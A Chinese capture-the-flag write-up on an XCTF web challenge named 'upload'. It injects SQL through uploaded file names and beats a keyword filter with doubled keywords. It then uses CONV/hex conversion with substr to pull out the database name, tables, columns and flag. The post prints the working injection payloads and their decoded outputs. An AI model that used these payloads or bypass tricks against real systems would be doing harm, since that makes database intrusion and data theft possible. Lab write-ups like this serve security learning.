攻防世界——web题 upload
首先看首页登录框就猜测是功能型的漏洞,先注册一个账号进去看看
发现可以进行文件上传,jpg类的可以被上传,上传后的文件名会显示在页面内,这个地方应该和数据库进行连接了,在数据库中搜索得到了我上传的两个文件名,然后回显到该页面上,也许这个地方可以尝试sql注入?接下来再看看:
发现sql注入被检测到了,接下来看黑名单和绕waf,fuzz试一下:
前面长度为676的基本都被过滤掉了,发现anandd的响应包结果如下:
说明可以通过双写绕过,但现在的测试只是在看过滤,还得看一下sql语句或函数能不能使用:
使用 '+md5(123)+'进行拼接字符,类似这样的效果:test' + md5(123) + '.jpg
然后查看有没有执行成功的话,需要在浏览器页面中进行查看(我猜测这里可能是后端sql注入并没有执行,导致响应包没有返回正常的结果,而js通过API调用了数据库函数,才能够正常执行sql
注入):
md5(123)的值为:
说明这里出现了字母就把后面的全部截断掉?而要得到完整的信息就得想办法把结果都表现为数字,采用十进制的方式,这里应该是将16进制转换为10进制,才能防止其自动截断丢失信息。
CONV:CONV(test,16,10)可以将十六进制转换为十进制,以此来防止信息的丢失
payload
用到的网站为:
10进制转16进制:进制转换 - 在线工具
16进制转字符:16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具
# 爆库 如果不用substr同样会导致超出范围信息缺失:出现1e的情况
' +(seleselectct conv(substr(hex(dAtabase()),1,12),16,10))+ '.jpg
' +(seleselectct conv(substr(hex(dAtabase()),13,12),16,10))+ '.jpg
# 得到131277325825392 -> 7765625f7570 -> web_up
# 1819238756 -> 6c6f6164 ->load
# 数据库名为:web_upload# 爆表:from 被过滤
' +(selecselectt conv(substr(hex((selecselectt group_concat(table_name)frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+' .jpg
# files,hello_flag_is_here# 爆列名:and被过滤
' +(selecselectt conv(substr(hex((selecselectt group_concat(column_name)frofromm information_schema.columns where table_schema='web_upload' anandd table_name='hello_flag_is_here')),1,12),16,10))+' .jpg
# i_am_flag# 爆值
' +(selecselectt conv(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here)),1,12),16,10))+ '.jpg
# !!_@m_Th.e_F!lag